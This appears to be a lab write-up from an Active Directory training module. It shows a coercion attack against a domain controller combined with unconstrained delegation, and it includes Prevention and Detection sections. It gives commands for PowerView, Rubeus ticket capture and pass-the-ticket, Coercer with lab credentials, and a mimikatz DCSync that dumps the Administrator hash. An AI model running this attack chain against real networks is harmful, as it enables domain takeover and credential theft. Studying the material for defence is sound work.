Coercing Attacks & Unconstrained Delegation
Description
Coercing attack is for privilage escalation - from any user to Domain Administrator
PrinterBug is a coercing attack example, and there are more.
These attacks exploit vulnerable RPC functions to make a domain controller (DC) authenticate to another machine.
The attack starts by forcing a DC to connect to an attacker-controlled system.
🛠️ Tools
PrinterBug: Initial coercing method using the Print Spooler service.
Coercer Tool: Automates coercion using all known vulnerable RPC functions.
⚠️ Vulnerable Targets
Environments with default AD configurations.
Systems with SMB Signing disabled or unrestricted delegation enabled.
🔄 Follow-Up Attacks After Coercion:
DCSync via NTLM Relay
Unconstrained Delegation (UD)
AD CS Certificate Abuse
Resource-Based Constrained Delegation (RBCD)
Attack
In the attack example we will abuse the second follow up.
Assuming that an attacker has gained administrative rights on a server configured for Unconstrained Delegation.
We will use this server to capture the TGT, while Coercer will be executed from the Kali machine.
1.
To identify systems configured for Unconstrained Delegation, we can use the Get-NetComputer function from PowerView along with the -Unconstrained switch
Identify systems configured for unconstrained delegation
PS C:\Users\bob\Downloads> Get-NetComputer -Unconstrained | select samaccountname
samaccountname
--------------
DC1$
SERVER01$
WS001$
DC2$WS001 and SERVER01 are trusted for Unconstrained delegation (Domain Controllers are trusted by default). So either WS001 or Server01 would be a target for an adversary. In our scenario, we have already compromised WS001 and 'Bob', who has administrative rights on this host.
2.
We will start Rubeus in an administrative prompt to monitor for new logons and extract TGTs
Monitor for logons
PS C:\Users\bob\Downloads> .\Rubeus.exe monitor /interval:13.
Next, we need to know the IP address of WS001, which we can be obtain by running ipconfig.
4.
Once known, we will switch to the Kali machine to execute Coercer towards DC1, while we force it to connect to WS001 if coercing is successful
Force connection from DC1 to WS001 from our machine
batamladen@htb[/htb]$ Coercer -u bob -p Slavi123 -d eagle.local -l ws001.eagle.local -t dc1.eagle.localNow, if we switch to WS001 and look at the continuous output that Rubeus provide, there should be a TGT for DC1 available
5. We can use this TGT for authentication within the domain, becoming the Domain Controller. From there onwards, DCSync is an obvious attack (among others).
One way of using the abovementioned TGT is through Rubeus, as follows.
PS C:\Users\bob\Downloads> .\Rubeus.exe ptt /ticket:doIFdDCCBXCgAwIBBa...Then, a DCSync attack can be executed through mimikatz, essentially by replicating what we did in the DCSync section.
PS C:\Users\bob\Downloads\mimikatz_trunk\x64> .\mimikatz.exe "lsadump::dcsync /domain:eagle.local /user:Administrator"Prevention
Windows does not offer granular visibility and control over RPC calls to allow discovering what is being used and block certain functions. Therefore, an out-of-the-box solution for preventing this attack does not exist currently. However, there are two different general approaches to preventing coercing attacks:
Implementing a third-party RPC firewall, such as the one from zero networks, and using it to block dangerous RPC functions.
Block Domain Controllers and other core infrastructure servers from connecting to outbound ports
139and445,exceptto machines that are required for AD (as well for business operations).
Detection
It is recomended to not install third-party software in the AD. Thats why our detection option is firewall logs.
A successful coercing attack with Coercer will result in the following host firewall log, where the machine at .128 is the attacker machine and the .200 is the Domain Controller:
We can see plenty of incoming connections to the DC, followed up by outbound connections from the DC to the attacker machine; this process repeats a few times as Coercer goes through several different functions. All of the outbound traffic is destined for port 445.
If we go forward and block outbound traffic to port 445, then we will observe the following behavior:
Sometimes, when port 445 is blocked, the machine will attempt to connect to port 139 instead, so blocking both ports 139 and 445 is recommended.
The above can also be used for detection, as any unexpected dropped traffic to ports 139 or 445 is suspicious.
Tasks
Rdp to the machine provided in the task RDP to WS001 from there
On the WS001:
Open cmd as admin
Activate rubeus to monitor
.\Rubeus.exe monitor /interval:1Go back on the kali
On the kali machine:
Coercer -u bob -p Slavi123 -d eagle.local -l ws001.eagle.local -t dc1.eagle.localNow when you return to the WS001 the monitoring rubeus should caught the TGT.
back on the WS001:
.\Rubeus.exe ptt /ticket:doIFdDCCBXCgAwIBBa...Open mimikatz (Downloads/mimikatz_trunk/x64)
.\mimikatz.exe "lsadump::dcsync /domain:eagle.local /user:Administrator"Last updated